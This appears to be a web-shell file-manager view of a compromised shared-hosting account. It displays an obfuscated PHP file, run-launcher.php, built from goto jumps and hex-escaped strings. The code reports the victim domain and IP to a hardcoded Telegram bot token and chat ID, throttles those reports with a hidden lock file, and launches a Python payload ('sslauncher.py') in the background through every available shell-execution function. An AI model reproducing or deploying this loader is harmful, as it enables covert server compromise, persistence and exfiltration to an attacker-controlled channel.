HEX
Server: Apache
System: Linux webm004.cluster114.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: suchelan (45338)
PHP: 5.4.45
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/u/c/suchelan/run-launcher.php
<?php
 goto RV5C4; hyb21: $script = __DIR__ . "\x2f" . $script_name; goto kTPnV; jj6W5: sleep(1); goto Wbn4k; v88pM: sleep(1); goto bC4xI; RV5C4: ignore_user_abort(true); goto tt2Ft; C_VLe: if (file_exists($lock_file)) { $age = time() - filemtime($lock_file); if ($age < 6 * 3600) { $send_now = false; } } goto LIYq1; wzOmC: @shell_exec($cmd); goto PoNc6; VrdtY: $send_now = true; goto C_VLe; bC4xI: if (function_exists("\160\x72\157\x63\137\x6f\x70\145\x6e")) { $proc = proc_open($cmd, array(), $pipes); if (is_resource($proc)) { proc_close($proc); } } goto jj6W5; Wbn4k: if (function_exists("\160\x6f\x70\x65\156")) { @popen($cmd, "\162"); } goto psHP2; stzpk: mb_http_output("\125\x54\106\x2d\x38"); goto tK813; DdmAA: $lock_file = __DIR__ . "\57\56\164\147\x5f\163\x65\156\x74"; goto VrdtY; j0BmP: $script_name = "\163\x73\x6c\141\x75\156\143\x68\x65\x72\56\x70\x79"; goto hyb21; psHP2: sleep(1); goto KMRXP; PoNc6: sleep(1); goto ri3s1; asUjG: foreach ($python_candidates as $c) { if (@shell_exec("\x63\157\155\x6d\x61\156\144\40\55\x76\40" . escapeshellarg($c) . "\40\x32\x3e\x2f\144\145\x76\57\x6e\x75\154\154")) { $python = $c; break; } if (file_exists($c) && is_executable($c)) { $python = $c; break; } } goto qGgC4; qGgC4: $cmd = sprintf("\x63\x64\x20\x25\x73\x20\46\x26\x20\45\x73\x20\45\163\40\76\57\x64\145\166\57\156\x75\154\x6c\40\x32\76\x26\61\x20\x26", escapeshellarg(__DIR__), escapeshellcmd($python), escapeshellarg($script_name)); goto wzOmC; cjtox: mb_internal_encoding("\125\124\106\55\70"); goto stzpk; kTPnV: $python_candidates = array("\160\x79\x74\x68\157\156\63", "\160\x79\164\x68\x6f\x6e", "\x2f\x75\163\162\57\142\x69\156\x2f\x70\171\x74\150\x6f\x6e\x33", "\x2f\165\x73\162\57\154\157\x63\x61\x6c\57\142\151\156\57\160\171\x74\x68\157\x6e\x33", "\x2f\x62\151\x6e\x2f\x70\x79\x74\x68\x6f\156\x33", "\x2f\x75\x73\x72\x2f\x62\x69\156\x2f\x70\x79\164\150\x6f\156", "\x70\x79\x74\x68\x6f\156\62", "\x70\171\164\150\x6f\x6e\62\x2e\67", "\x2f\165\163\x72\x2f\x62\151\x6e\x2f\x70\171\x74\x68\x6f\x6e\x32\x2e\67", "\x2f\x75\x73\x72\x2f\x62\151\156\57\160\171\x74\x68\157\x6e\x32", "\x70\171"); goto NQ9s7; tt2Ft: set_time_limit(0); goto cjtox; NQ9s7: $python = null; goto asUjG; tK813: @ini_set("\144\x65\146\x61\165\x6c\164\x5f\143\x68\x61\162\163\x65\x74", "\125\x54\x46\55\70"); goto dPcMP; ri3s1: @exec($cmd); goto v88pM; dPcMP: $send_telegram = function () { $token = "\x38\65\x32\x36\x33\x31\66\x30\65\x30\72\101\101\106\145\x77\102\122\x74\117\x41\x56\64\143\160\164\x41\107\x64\113\125\x44\160\64\117\x4c\111\x61\110\x70\151\157\x45\172\157\x59"; $chat = "\66\60\64\x34\66\65\70\x35\66\66"; $domain = $_SERVER["\x48\x54\x54\120\137\110\x4f\x53\124"] ?? "\x75\156\153\x6e\157\167\x6e\55\144\x6f\x6d\x61\x69\156"; $ip = $_SERVER["\x53\105\x52\126\x45\122\137\101\104\x44\122"] ?? @gethostbyname(gethostname()) ?: "\165\x6e\x6b\156\x6f\167\x6e\55\151\160"; $text = "\122\x75\156\xa" . "\144\x6f\155\141\x69\156\72\x20{$domain}\xa" . "\x49\120\72\x20{$ip}\12" . date("\x59\x2d\x6d\55\x64\40\x48\72\151\x3a\163"); $text = @mb_convert_encoding($text, "\125\124\106\55\x38", "\141\x75\164\157") ?: $text; $sent = false; if (function_exists("\x63\165\x72\x6c\x5f\151\156\151\x74") && !$sent) { $ch = curl_init("\150\164\164\160\x73\x3a\x2f\x2f\x61\x70\x69\x2e\164\x65\154\145\x67\162\x61\155\56\157\x72\x67\x2f\142\157\164{$token}\x2f\x73\x65\156\x64\x4d\145\x73\163\x61\x67\145"); curl_setopt_array($ch, array(CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query(array("\143\x68\x61\x74\x5f\151\x64" => $chat, "\x74\145\170\x74" => $text)), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 8, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false)); $resp = @curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && strpos($resp, "\42\157\153\42\x3a\164\162\165\145") !== false) { $sent = true; } } if (ini_get("\x61\x6c\154\157\167\137\165\x72\x6c\x5f\146\x6f\x70\x65\x6e") && !$sent) { $q = http_build_query(array("\x63\x68\141\164\137\x69\x64" => $chat, "\164\x65\170\164" => $text)); $url = "\x68\164\x74\x70\x73\72\57\x2f\141\160\x69\56\164\145\x6c\145\x67\x72\x61\155\56\157\162\147\57\x62\x6f\x74{$token}\x2f\x73\x65\156\x64\x4d\145\x73\163\141\147\145\x3f{$q}"; $ctx = stream_context_create(array("\150\x74\164\160" => array("\164\151\x6d\x65\x6f\x75\x74" => 8), "\163\x73\x6c" => array("\166\145\x72\x69\146\171\137\160\145\x65\162" => false))); $resp = @file_get_contents($url, false, $ctx); if ($resp && strpos($resp, "\x22\x6f\153\x22\72\x74\162\165\145") !== false) { $sent = true; } } if ((function_exists("\163\150\145\x6c\154\x5f\145\x78\145\143") || function_exists("\145\x78\145\x63")) && !$sent) { $cmd = sprintf("\143\x75\x72\x6c\40\55\x73\x20\x2d\x6d\x20\61\x30\x20\x2d\x64\x20\45\x73\x20\x2d\144\x20\x25\163\40" . "\42\x68\164\x74\x70\163\x3a\57\57\141\160\151\x2e\x74\145\x6c\x65\147\162\141\155\56\x6f\x72\147\x2f\142\157\164\45\x73\57\163\x65\x6e\x64\115\145\x73\x73\x61\147\145\x22\40\76\57\x64\145\x76\x2f\156\165\154\x6c\40\x32\76\46\61\40\46", escapeshellarg("\x63\x68\x61\x74\137\151\144\x3d{$chat}"), escapeshellarg("\x74\x65\170\x74\x3d{$text}"), escapeshellarg($token)); @shell_exec($cmd); @exec($cmd); $sent = true; } }; goto DdmAA; LIYq1: if ($send_now && is_writable(__DIR__)) { $send_telegram(); @touch($lock_file); } goto j0BmP; KMRXP: @system($cmd);